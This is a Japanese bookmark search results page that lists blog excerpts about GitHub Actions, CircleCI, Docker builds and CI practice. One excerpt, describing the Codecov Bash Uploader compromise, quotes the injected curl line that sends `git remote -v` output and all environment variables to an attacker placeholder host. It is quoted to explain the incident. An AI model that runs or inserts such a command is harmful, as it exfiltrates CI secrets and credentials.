並び順

ブックマーク数

期間指定

  • から
  • まで

881 - 920 件 / 2084件

新着順 人気順

actionsの検索結果881 - 920 件 / 2084件

  • GitHub Actionsをcurlを使って外部から実行する - nwtgck / Ryo Ota

    ここではHTTPのリクエストで外部から実行する。HTTPのリクエストで実行できるため様々な場所から利用できる可能性があると思う。

      GitHub Actionsをcurlを使って外部から実行する - nwtgck / Ryo Ota
    • 1人目の専任SREがポストモーテム文化を改善したらエンジニア以外にも広まり、他部門との連携も強化された話|Hiroki Takatsuka

      2022年7月に primeNumber に入社した、1人目の専任 SRE の高塚 (@tk3fftk) です🙏 primeNumber が開発する trocco® のSREチームは現在、CTOの鈴木さん (@kekekenta) と自分、業務委託の方数名で日々さまざまな改善を行っています。 入社して半年以上経ち、行ってきた改善をふりかえりを行いがてら、記事を書いてみることにしました。 この記事では、SREの取り組みの1つとして、primeNumber のポストモーテム文化を改善した話をします。 追記: この記事をベースにしたLT登壇の機会をいただきました🎉 ポストモーテムとは?ポストモーテムとは、簡単に言うと、発生したインシデントについて読めば把握できるようなドキュメントです。 影響範囲、根本原因、タイムライン、行われた対応や再発防止策などが含まれます。 具体的な定義や書き方について

        1人目の専任SREがポストモーテム文化を改善したらエンジニア以外にも広まり、他部門との連携も強化された話|Hiroki Takatsuka
      • dependency-cruiser-report-actionでPRの変更ファイルの依存関係を可視化してコメントする

        この記事は、筆者が制作したGitHub Actions向けCustom actionであるdependency-cruiser-report-actionを紹介する記事です。 JavaScript / TypeScriptのプログラムではexportによりモジュールとして分割しimport(require) で読み込むことができますが、一度exportで公開してしまうとプロジェクト内のどこからでも読み込むことができてしまいます。 無秩序にimportを増やして依存関係が複雑になるとモジュール間は密結合になります。1つの小さな変更が大規模な障害に発展したり、変更をリリースするまでのリードタイムは伸びていくなどの悪循環に陥ります。 プロダクトを安全にメンテナンスし続けるためにはこの「依存」と立ち向かうことになります。 立ち向かうためのアプローチとしてはフレームワークによる規約の利用、SOLID

          dependency-cruiser-report-actionでPRの変更ファイルの依存関係を可視化してコメントする
        • GitHub - sethvargo/ratchet: A tool for securing CI/CD workflows with version pinning.

          You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

            GitHub - sethvargo/ratchet: A tool for securing CI/CD workflows with version pinning.
          • オートスケールする GitHub Actions セルフホストランナーを構築してる話

            https://rakus.connpass.com/event/211175/ 『自動化大好きエンジニアLT会 - vol.3』の発表資料です。 オートスケールする GitHub Actions セルフホストランナーを構築中の知見をまとめました。Read less

              オートスケールする GitHub Actions セルフホストランナーを構築してる話
            • Androidエミュレーターを使ったUIテスト(Espresso)を分割・並列実行しよう

              この記事では、Androidエミュレーターを使ったUIテスト(Espresso)を分割・並列実行することによって、実行時間を短縮する方法についてわかりやすくご紹介します。 はじめに Android アプリケーション開発において、品質を継続的に向上させるために、自動テスト・CircleCI などのCI/CDツールの導入は、もはや欠かせないものとなりました。 そして、自動テスト・CI/CDを1回導入するだけでなく、継続的に改善していくことが重要です。 例えば、アプリケーション規模や自動テストの数、開発規模が大きくなっていくと、CI/CD におけるビルド・テストの実行時間は長くなってしまい、結果として開発スピードを低下させてしまいます。 特に 今回紹介する Espresso などのUIテストでは、実際に Android 実機や Android エミュレーターを動かしてテストを実行する必要があるた

                Androidエミュレーターを使ったUIテスト(Espresso)を分割・並列実行しよう
              • CircleCI の費用が突如 1.5 倍になった話 | Wantedly Engineer Blog

                こんにちは。CircleCI カスタマーサクセスチームの Chisato です。最近個人的に幸せを感じた出来事は、育てているレモンの花が咲いたことです。今年2回目の開花で、とても良い香りがします。今回は、インサイト(以下 Insights)についてご紹介します... ただ、今回は Insight では具体的なコスト増の要因が特定できなかったため、「誰が」CircleCI のジョブを多く走らせているのかを調査しました。 具体的な調査方法としては、CircleCI API v2 で pipeline の実行履歴を取得しました。(https://circleci.com/docs/api/v2/index.html#operation/listPipelines) 実行例 (過去の pipeline 実行履歴を一気に取得するコマンド): for i in `seq 500`; do echo $

                  CircleCI の費用が突如 1.5 倍になった話 | Wantedly Engineer Blog
                • CircleCI 60% faster builds: use Xcode DerivedData for caching!

                  When working on large projects you have to constantly take care of the CI and build time condition, especially when you time have more than 5 members. In team where i am currently working we reach the point where our current app build time take 25 minutes. We were thinking how we could reduce build time and CI maintenance cost. The main idea was to cache DerivedData from develop where we are doing

                    CircleCI 60% faster builds: use Xcode DerivedData for caching!
                  • OpenID Connect Support added to AWS CLI Orb - v3.1

                    Hello everyone! I’m happy to announce that version 3.1 of the AWS CLI Orb has been released as of April 21st, 2022. This latest version takes advantage of CircleCI’s OIDC Token that’s available by default in every context provided in each job. It enables users to generate a short-lived AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN that’s only valid for 60 minutes by default. These

                      OpenID Connect Support added to AWS CLI Orb - v3.1
                    • Jestを通してCircleCIの基本を確認してみる | DevelopersIO

                      CIツールの利用は現代の開発においては必要不可欠なものであり, とりわけSaaSを利用すると設定ファイルの準備を行う程度の準備でパイプラインが構築できます. そしてCircleCIは一つのCIツールであり非常に便利です. 今回はJestで書いた簡単なテストを通じて設定を書きCircleCIの基本コンポーネントを理解できればと思っています. 基本コンポーネントについて 手を動かす前にCircleCIの基本コンポーネントについて理解を深めていきます. 最新バージョンである2.1では大きくわけて3つのコンポーネントに分かれています. なのでまずは上の図にある3つのコンポーネントを追っていきましょう. Workflows CircleCIで実行する一番大きな単位です. ジョブの実行を制御するために利用されます. 例えばジョブを並行で実行したり、実行するジョブの条件を決定したりします. この段階では

                        Jestを通してCircleCIの基本を確認してみる | DevelopersIO
                      • 30代未経験からRails, AWS, Docker, CircleCIを使って減量アプリを作りました - Qiita

                        30代未経験からRails, AWS, Docker, CircleCIを使って減量アプリを作りましたRailsAWSCircleCIDocker プログラミング未経験の31歳男がRuby on Rails, jQuery, AWS, Docker, CircleCIといった技術を使ってWebアプリを作りました。 この記事では、最初にアプリの紹介をした後に、 どれくらいの時間かけて作ったのか なぜこれらの技術を使うことにしたのか 特に大変だったところ どのように学習したのか といったことについて、お伝えできればと思います。 どんなアプリを作ったのか 減量アプリです。(筋トレしてる人が健康的に体脂肪を減らすためのアプリ) 「これなら自分でも続けられる」をコンセプトに「PFC MASTER」というアプリを開発しました。 アプリのURLはこちらです。 https://pfcmaster.work

                          30代未経験からRails, AWS, Docker, CircleCIを使って減量アプリを作りました - Qiita
                        • ブラウザテスト自動化のカスタムGitHub Actionsを作った | Folioscope

                          年末はVim Vixenで使っていた CircleCI を GitHub Actions に移行しました。 それに伴い、ブラウザテスト自動化のカスタム GitHub Actions を作っていました。 Vim Vixen の対象ブラウザは、Mozilla がサポートする最も古い Firefox のバージョン(ESR)です。 それを保証するためにWebExtensions の E2E テストを自動化しています。 GitHub Actions の標準イメージにも Firefox と Geckodriver はありますが、Ubuntu ディストリビューションやインストールスクリプトによってバージョンが固定されています。 そこで任意バージョンの Firefox と Geckodriver をセットアップするカスタムアクションを作成しました。 setup-firefox setup-geckodri

                            ブラウザテスト自動化のカスタムGitHub Actionsを作った | Folioscope
                          • 初めての GitHub Actions - @kyanny's blog

                            イシューに特定のラベルがついたら Slack に通知、というワークフローを作ってみた。ビルトインのアクションの組み合わせのみでできた。 labels (配列)を表示するところがちょっとトリッキー。 gist.github.com これの応用で、 scheduled トリガーを起点にして特定のラベルがついてるイシューの一覧を Slack に通知、というのをやりたいのだが、こちらはビルトインのアクションだけで実現するのは厳しそうだった。 特定のラベルがついてるイシュー一覧をとるのは GraphQL アクションでも、 HTTP アクションでも、 GitHub API 叩けばいける。 Slack 通知もビルトインのアクションでいける。問題は、上流のアクションで得た結果データを下流のアクションに渡すところで、ビルトインの Slack アクションは任意のデータを受け取るようにはできてないので、間を繋ぐ

                              初めての GitHub Actions - @kyanny's blog
                            • GitHub Actions による作業自動化 実例集 - Qiita

                              はじめに GitHub Actions を使用した CI/CD の記事は結構多くなってきました。 しかし GitHub Actions ができることは Travis CI や CircleCI でも可能なテストの実行やデプロイの自動化だけではありません。 GitHub上で普段行うような作業の自動化も容易に実現可能です。 ここではいくつかの例を紹介します。 リポジトリ 今回の記事で紹介する作業自動化を実際に行っているリポジトリの例 https://github.com/technote-space/release-github-actions ワークフロー https://github.com/technote-space/release-github-actions/tree/master/.github/workflows Actions https://github.com/techn

                                GitHub Actions による作業自動化 実例集 - Qiita
                              • Faster CI Builds with Docker Layer Caching and BuildKit

                                This article takes a look at how to speed up your Docker-based builds on CircleCI, GitLab CI, and GitHub Actions with Docker layer Caching and BuildKit. Contents Docker Layer Caching Docker caches each layer as an image is built, and each layer will only be re-built if it or the layer above it has changed since the last build. So, you can significantly speed up builds with Docker cache. Let's take

                                  Faster CI Builds with Docker Layer Caching and BuildKit
                                • SRE視点で考える「DevEX」ーーSaaS3社対談②テックタッチ・コミューン・UPWARD|DNX Ventures

                                  今月、弊社の投資先より、急成長中のSaaSスタートアップ3社から各社の開発チームにお集まりいただき、その3社のデベロッパー・エクスペリエンス「DevEx」についてのウェビナーを開催しました。3社それぞれにエンジニアさんの働きやすさと開発効率をよく考えた施策や取り組みが語られた充実のセッションとなりました。 今回は、後半のセッション「DevEX x SRE」の様子を一部ご紹介します。 テックタッチ SRE マネージャー 伊藤 宏樹 SIerとして社会人をスタート。しばらくして金融情報の配信インフラの開発に従事し、リアルタイム大規模配信を支える高信頼性マルチキャスト通信ライブラリの開発をメインに尽力。その後AIブームにのりJDL認定 E資格を取得しDLを応用したカメラ画像から人属性を解析するソリューションの開発リーダーを努める。現在はテックタッチのSREマネージャーとして活躍中。 ▶︎Twit

                                    SRE視点で考える「DevEX」ーーSaaS3社対談②テックタッチ・コミューン・UPWARD|DNX Ventures
                                  • Circle CI + rails + AWS で自動テスト、自動デプロイが失敗した(Autoscaling 使用) - Qiita

                                    Circle CI + rails + AWS で自動テスト、自動デプロイが失敗した(Autoscaling 使用)RailsAWSCircleCICodeDeploy 概要 うまくいかなかったので、teratailの下記の質問に答えていただけたらとても嬉しいです。 https://teratail.com/questions/359594 前回書いた下記の記事からの続きです。 EC2 + RDS + Capistrano + unicorn + nginxでrailsアプリを自動デプロイ メモ 前回はCapistranoでしたが今回はCode〇〇 の4つを使った自動デプロイを行います。 まずは自動テストをCircleCIで、できるようにします。 database.yml の編集 テスト用のデータベースが使えるよう、前回からdatabase.ymlを変更 もしかしたら必要ない記述もあるかも

                                      Circle CI + rails + AWS で自動テスト、自動デプロイが失敗した(Autoscaling 使用) - Qiita
                                    • オンプレミスでCircleCI Serverを動かそう(その1) ツールのインストール編 - とことんDevOps | 日本仮想化技術のDevOps技術情報メディア

                                      CircleCIを利用することで、お手軽にCIを開始できることは、過去のエントリーでも繰り返し紹介してきました。しかし機密保持等の事情から、クラウドサービスを利用できない環境もあるのではないでしょうか。 こうしたケース向けに、CircleCIではオンプレミス版であるCircleCI Serverを提供しています。CircleCI ServerはKubernetes上にデプロイするアプリケーションです。その構築手順はドキュメントにまとめられているのですが、このドキュメントはAWS/GCPの両環境を併記していたり、やや冗長な手順が混在する都合上、全体的に見通しが悪くなっています。また言葉が足らないせいで、初見では理解しづらい箇所もいくつか存在します。 そこで本ブログでは、AWSのEKSクラスター上にCIrcleCI Serverを構築するための最短手順*1を、Step by Stepでわかりや

                                        オンプレミスでCircleCI Serverを動かそう(その1) ツールのインストール編 - とことんDevOps | 日本仮想化技術のDevOps技術情報メディア
                                      • macOS アプリを Free プランでビルドする

                                        はじめに CircleCIのFreeプランが2022年1月から大幅に拡張されましたが、この1月の発表に間に合わなかったのが、FreeプランでのmacOSサポートの追加です。これまでは、有償プランでのみ利用可能だった macOS Executor がFreeプランでも利用可能になったことにより、macOS上で動作するアプリケーションはもちろん、iOS, iPad OS, tvOS, watchOSで動作するアプリケーションもCircleCI上で(極論すれば、あなたがお使いのOSがWindowsやLinuxであっても)ビルドやテストすることができるようになりました。 本ブログでは、GitHub上で提供しているサンプル アプリケーションを例に取って、WindowsユーザーやLinuxユーザーでもmacOSでのビルド、テストから、アプリケーションの実行ファイルの生成までの手順をご紹介いたします。

                                          macOS アプリを Free プランでビルドする
                                        • CircleCiとCodeシリーズの料金比較 - Qiita

                                          概要 現在はAWSのcodeシリーズを使っているが料金をもっと最小化したくCIrcleciの料金体系を調査し比較した記事です codeシリーズ(aws) CodePipline アクティブなパイプライン1つにつき1.00USD/月 (作成後1ヶ月は無料) CodeBuild コンピューティング→general1.medium(メモリ7 GB: CPU:4) ビルド1分辺り0.01USD CircleCi Freeプラン 毎月30,000クレジット付与 ジョブの同時実行30(macOSは1) 10クレジット = 0.006USD コンピューティング→ Large(メモリ8 GB: CPU:4、1分20クレジット) ユーザー数は無制限で無料 ホストOSのスペックが制限される Performanceプラン 毎月55,000クレジット付与 ジョブの同時実行80(macOSは5) アクティブユーザ枠

                                            CircleCiとCodeシリーズの料金比較 - Qiita
                                          • Productivity Weekly (2022-04-27号)

                                            こんにちは。サイボウズ株式会社 生産性向上チームの平木場です。 僕たち生産性向上チームは毎週水曜日に Productivity Weekly という「1 週間の間に発見された開発者の生産性向上に関するネタを共有する会」を社内で開催しています。 本記事はその時のネタをまとめたものです。 今回が第 72 回目です。過去の記事はこちら。 news 📺 CircleCI のワークフローのスケジュール実行機能が2022/06/03より段階的に廃止される予定とのことです 去年 10 月、CircleCI のパイプラインをスケジュール実行する新機能が公開されました。そして、既存のワークフローのスケジュール実行が最終的に deprecation になるとのことでした。 実際にいつ非推奨となるかは不明だったのですが、2022/06/03 に deprecation となることが 2 月に発表されていました

                                              Productivity Weekly (2022-04-27号)
                                            • dockerでマルチプラットフォーム用にビルドして1つのタグにまとめる。 - アプリ開発備忘録

                                              arm64とamd64向けにビルドを行い、Manifestを使用して1つのtagで、使用するプラットフォームごとに自動的にアーキテクチャを選択させます。 今回はリポジトリとしてECRを使用しています。 まずは色々定義します。 ベースの名前を決めます。あとはプラットフォームごとのタグも決めます。末尾に -amd64 -arm64 を付けました。 ECR_REMOTE_URL="000000000000.dkr.ecr.ap-northeast-1.amazonaws.com" REMOTE_REPO_NAME="repo_name" TAG="tag_name" REMOTE_MANIFEST_URI=${ECR_REMOTE_URL}/${REMOTE_REPO_NAME}:${TAG} REMOTE_AMD64_URI=${ECR_REMOTE_URL}/${REMOTE_REPO_NA

                                                dockerでマルチプラットフォーム用にビルドして1つのタグにまとめる。 - アプリ開発備忘録
                                              • New workflow editor for GitHub Actions

                                                EngineeringProductNew workflow editor for GitHub ActionsEdit your GitHub Actions workflow files easier with features to help you minimize errors and more. It’s now even easier to create and edit a GitHub Actions workflow with the updated editor. We’ve provided inline auto-complete and lint as you type so you can say goodbye to YAML indentation issues and explore the full workflow syntax without go

                                                  New workflow editor for GitHub Actions
                                                • CodecovのBash Uploader問題の再発防止策 - Carpe Diem

                                                  概要 コードカバレッジサービスのCodecovでは、カバレッジファイルをアップロードする際に以下のようにbash scriptを実行します。 bash <(curl -s https://codecov.io/bash) ref: Codecov Bash uploader しかし先日、このbash scriptが何者かに勝手に改竄されている問題が発生しました。 about.codecov.io 改竄されたスクリプトでは curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://ATTACKER_SERVER/upload/v2 || true という処理が埋め込まれており、CI処理などで環境変数に設定していた情報が全てアタッカーのサーバへ送信されてしまうことになります。 一次対応として送信された機密情報のローテーションは必須です

                                                    CodecovのBash Uploader問題の再発防止策 - Carpe Diem
                                                  • GitHubのActionでマルチ環境向けのバイナリをビルドして配布する(Rust)

                                                    CLI(command line interface)ツールはRustでも力を入れてりるターゲット。RustはLLVMをバックエンドとしているし、ライブラリも抽象化されている。GUIを扱わない範囲ではWindows/Linux/Macを対象とした移植性があるCLIツールを書きやすい。さらにGitHubではActionを用いたビルドファーム(テストも)がOSSでは利用可能だ。ソースからビルドではなく、多環境向けのバイナリをGitHub Actionsでビルドしてバイナリ配布するための設定について述べる。 2020冬シーズンの篭もりプロジェクトとしてrcというコマンドラインで動作する関数電卓を作成した。リポジトリはhttps://github.com/nkon/rc-rsに、設計ノートはhttps://github.com/nkon/rc-rs/blob/master/NOTE.mdにて公開し

                                                    • CircleCIを利用した不安定なテスト(Flaky Test)の検疫 - ロコガイド テックブログ

                                                      技術部開発基盤グループの根岸(@negipo)です。ポプマスがサ終してしまいましたね……。 さて、ロコガイドにはさいきん開発基盤グループができました(わいわい)。開発者生産性を向上することで、ロコガイドという組織のもつパフォーマンスを技術的に高めてゆくのがミッションです。直したいところがいっぱいでやる気もいっぱいです。やっていきます! 本稿では最近実行された様々な改善のうち、不安定なテスト(Flaky Test)に対する対応について記述しています。 不安定なテストに対する対応 不安定なテストは名前の通りその結果が非決定論的なテストです。CI/CDパイプライン全体の安定性を損なう不安定なテストに対応していくことで、デプロイ回数が増加し、開発者生産性が向上します。LeanとDevOpsの科学などを参照するまでもなく、CI/CDパイプラインのパフォーマンスを改善することが組織の生産性に直結するこ

                                                        CircleCIを利用した不安定なテスト(Flaky Test)の検疫 - ロコガイド テックブログ
                                                      • カンム と React Native / Kanmu React Native

                                                        React Native Matsuri 2021

                                                          カンム と React Native / Kanmu React Native
                                                        • SSH接続を利用してCircleCI上のコンテナをデバッグする方法|デロイト トーマツ ウェブサービス株式会社(DWS)公式ブログ

                                                          なぜSSHを利用してデバッグしたいのか? 以下のような場合はローカル環境でのデバッグではなく、SSHを利用してCircleCIコンテナを直接デバッグすると手間が省けます。 OSやタイムゾーンの違いなど、ローカル環境とCI環境の差異によって生じるエラーなどを再現・解決したい。 CircleCIのビルドコンテナ上の環境変数が正しく設定できているか確認したい。 SSH鍵をバージョン管理システムに追加する まず前準備として、SSH鍵を利用しているバージョン管理システム(GitHubもしくはBitbucket)に追加します。 新しいSSH鍵の作成 ここではGitHubの例を示します。 まず以下のコマンドを任意のターミナルから実行します。 $ ssh-keygen -t ed25519 -C "your_email@example.com" ssh-agentを開始します。 $ eval "$(ssh

                                                          • AI自動テストツールを支える開発・テストプロセス

                                                            Agile TEch EXPO - New Normal Agile Episode1 - ( https://202101.agiletechexpo.com/ )の登壇資料です。

                                                              AI自動テストツールを支える開発・テストプロセス
                                                            • Announcing GitLab support on CircleCI

                                                              GitLab teams, welcome to CircleCI! Today we are pleased to announce GitLab support on CircleCI. Teams using GitLab SaaS or self-managed can now build, test, and deploy on CircleCI, and access CircleCI’s most popular features like Docker layer caching and automatic test-splitting. GitLab is now the third version control system we support, in addition to GitHub and Bitbucket. GitLab teams can sign u

                                                                Announcing GitLab support on CircleCI
                                                              • CircleCI と GitHub Actions のどちらを使うか - 約束の地

                                                                注意 2021/09/25 時点での状況に基づいています。 結論 GitHub Actions を選んでおけばまず問題ない 業務で課金前提なら CircleCI もあり プライベートリポジトリの利用形態によっては CircleCI もあり 前提 前提として、CircleCI と GitHub Actions での無料利用時間の上限は以下のとおりです。 無料利用時間上限 GitHub Actions パブリックリポジトリでは上限なし プライベートリポジトリでは月2,000分または月3,000分 単位は ユーザ や Organization *1 CircleCI パブリックやプライベートの関係はなく、一週間につき 250分 ただし以下の設定項目がリポジトリごとにあります gyazo.com 結論に至った理由 上記の前提から、業務の場合には CircleCI で課金する方を選ぶということは考え

                                                                  CircleCI と GitHub Actions のどちらを使うか - 約束の地
                                                                • DockerHubが無課金で自動ビルド出来なくなったのでCircleCIからDockerイメージビルドしてプッシュする - Qiita

                                                                  公式ブログの記事によるとDockerHubの自動ビルドが暗号通貨マイニングに悪用されているため、2021年6月18日から無料利用枠でのAutobuildを廃止したとのこと。 CircleCIでDockerイメージビルドしてDockerHubにプッシュする DockerHubには課金せず、CircleCIでDockerイメージをビルドしてDockerHubにプッシュする方法を考える。 CircleCIで使用する自前executorが必要なので、本末転倒だがCirleCIでビルドしてDockerHubに置くことにする。 手順は以下の通り GitHubにレポジトリを作って.circleci/config.ymlとDockerfileを置く DockerHubにレポジトリを用意 CirleCIに環境変数と登録しビルド〜プッシュを実行 .circleci/config.ymlの構成 GitHubのレ

                                                                    DockerHubが無課金で自動ビルド出来なくなったのでCircleCIからDockerイメージビルドしてプッシュする - Qiita
                                                                  • 古いCircleCI Slack通知からの移行の道2 〜Webhook編

                                                                    この記事は、CircleCI Advent Calendar 2021 14日目の記事で、3日目の古いCircleCI Slack通知からの移行の道 の続き的な内容です。 最初に書いた記事は、CircleCI Orbs によってSlack通知を行うというものでしたが、こちらはWebhookを利用しています。Slackアプリの作成部分については、同じなのでこの記事では説明してません。また、意外と悩む人も多いらしい、旧Slack通知の解除方法は前の記事に記載しているため、同じく、こちらでは説明しません。 CircleCIからWebhookを受け取るときのコードも載せておりますので、ぜひお役立てください。 この記事でやることについて、3行まとめ SlackアプリでWebhookURLを取得 API Gateway + AWS Lambda のアプリを作る CircleCIプロジェクトでWebho

                                                                      古いCircleCI Slack通知からの移行の道2 〜Webhook編
                                                                    • ブログのCIをCircleCIからGitHub Actionsに乗り換えてみた

                                                                      このブログのCIをCircleCIからGitHub Actionsに移行しましたので、備忘のために作業時のメモを(補足を添えて)公開します。 動機 GitHub ActionsをCIとして業務利用できるかどうか体感で確認したかったためです。 要件 developmentブランチへのpushをトリガーにRaketaskを実行し、jekyllによって静的サイトを生成する 生成された静的サイトをmasterブランチへpushする 直近のビルド成功時のCommitと比較し、/_posts/以下に差分がある場合はindexを生成しAlgoliaサーバにアップする やったこと /.github/workflowsディレクトリを作成する(命名固定) ディレクトリ以下にGithub Actionsのconfigファイルを作成する(命名は自由なのでdeploy.ymlとする) deploy.ymlにCirc

                                                                        ブログのCIをCircleCIからGitHub Actionsに乗り換えてみた
                                                                      • `bundle install --clean`を実行するときの注意点 - koicの日記

                                                                        bundle install --clean を実行するときの注意点として、バッドノウハウを書き残しておきます。 これは、以前 pocke さんが CircleCI の実行を速くするのに bundle install --clean を使う方法を記されていたことで思い出したことです。 pocke.hatenablog.com bundle install --clean は Bundler 管理下で不要な gem とそのバージョンを削除します。pocke さんの伝える CI 上の gem のキャッシュを削除する用途以外に、イメージ化していないデプロイ環境で bundle update している環境なんかでも同一 gem に対して複数バージョンがインストールされていたりします。そういった環境で bundle install --clean を実行すると、不要バージョンを削除してガツっと容量を

                                                                          `bundle install --clean`を実行するときの注意点 - koicの日記
                                                                        • Swagger + CircleCI + S3 Static website hosting を使ってAPIドキュメントをサーバーレスで運用する - Tech Blog

                                                                          サーバーサイドエンジニアのいわむ(@k_iwamu)です! 実は来月AWS re:Inventに参加してきます!弊社は海外カンファレンス補助が充実しているので、そういった配慮に感謝してたくさんのことを学んできます! さて、社内ではFammを中心としたいくつかのサービスや社内システムで複数のAPIが開発されています。会社の規模も大きくなるにつれ、それぞれのサービスを社内のエンジニアで分担しながら作っています。 そうした中で、2つの課題があげられるようになりました。 - サービスごとにAPIドキュメントの運用方法やフォーマットが統一されておらず、管理が難しい状況になっている - APIドキュメントをホスティングするためにサーバーが立ち上がっており、その管理も必要になっている そこで考えられた方針が、Swaggerを使ってドキュメントを統一化し、S3を使ってホスティングする方法です。理由は以下で

                                                                            Swagger + CircleCI + S3 Static website hosting を使ってAPIドキュメントをサーバーレスで運用する - Tech Blog
                                                                          • Ruby3.x+Rails6+CircleCI+Rspec+Rubocop+MySQL8のプロジェクト作った。(ソースコードあり) - Qiita

                                                                            Ruby3.x+Rails6+CircleCI+Rspec+Rubocop+MySQL8のプロジェクト作った。(ソースコードあり)Rails プロジェクトを立てるたびに同じようなプロジェクト作成作業をするのが手間なので、ソースコードを残しておく。 OSSライセンスにしておくので、この環境で使いたい人がいたら、使ってください。 環境 Ruby3.x Rails6 CircleCI Rspec Rubocop MySQL8

                                                                              Ruby3.x+Rails6+CircleCI+Rspec+Rubocop+MySQL8のプロジェクト作った。(ソースコードあり) - Qiita
                                                                            • [GitHub]Actionsで上手く行かない時や選択肢に迷う時にチェックしておきたいポイント | DevelopersIO

                                                                              はじめに なかなか上手くいかず、ぐったりする時には音楽を聞いて気を紛らわせています。 8月11日辺りからはTo the Edgeになりました。 そんなぐったりする原因のGitHub Actionsの挙動について、動作を調べる上で事前に理解おきたいハマりな箇所を備忘録込めて書き出してみました。 GitHub ActionsでのAPI呼び出し Actions上でAPIを呼び出す際には、以下の3通りの手段が検討できます。 REST API直接呼び出し octokit/request-actionによる呼び出し MarketPlaces上のActions いずれも結局はAPIを叩いている状態に変わりないのですが、API自体のアップデートが早く、追従する必要のあるoctokitやActionsの対応が遅れることもあります。機能面で充実している時や枯れていない場合にはREST APIを直接呼ぶほうが確

                                                                                [GitHub]Actionsで上手く行かない時や選択肢に迷う時にチェックしておきたいポイント | DevelopersIO
                                                                              • Gitのpush時にCIのビルドを回避する方法|TechRacho by BPS株式会社

                                                                                はじめまして。10月に入社しました、エンジニアのsugitaです。 こういう記事を書くときにテーマ設定で時間をかけてしまう性格なので、技術的なことなら何でも書いていいと言われて逆に迷ってしまいましたが、今回はCIを使って開発しているときの小ネタを紹介します。 TL;DR CIサービスのビルドを無駄に回さないようにする方法を紹介します。 コミットメッセージに[ci skip]を含める commit.templateの設定 .git/info/excludeの設定 背景 私はコードを書くとき、細かい単位でコミットしてremoteへのpushも頻繁にするほうなのですが、今のプロジェクトでは、GitHubレポジトリへのpushをフックとしてCIのビルドが動く設定になっています。そのため、pushするたびにビルドが動いてしまいます。 本当はpull requestのレビュー前だけ動いて、自動テストと

                                                                                  Gitのpush時にCIのビルドを回避する方法|TechRacho by BPS株式会社
                                                                                • Docker環境でRspecとRubocopを入れる場合のGithubとCircleCIの接続方法 - Qiita

                                                                                  Mac0S Big Sur 11.5.2 ruby 3.0.2 rails 6.1.4 docker 20.10.6 MySQL 8.0.27 はじめに Docker環境でRspecとRubocopを入れるまでの記事は多くあったのですが、その後GithubとCircleCIを接続する説明が書いてある記事はなかったので書くことに決めました。 RspecとRubocopのインストール方法はこちら Rspecのインストール方法 Rubocopのインストール方法 CircleCIの導入と自動テスト まず、CircleCIのサイトに飛んでGithubでログインし、CircleCIとGithubを接続します。 そして、テキストエディタで自分のプロジェクトのすぐ下(テキストエディタのファイルの一番上)に.circleciというディレクトリを作成し、この中にconfig.ymlというファイルを作成します。

                                                                                    Docker環境でRspecとRubocopを入れる場合のGithubとCircleCIの接続方法 - Qiita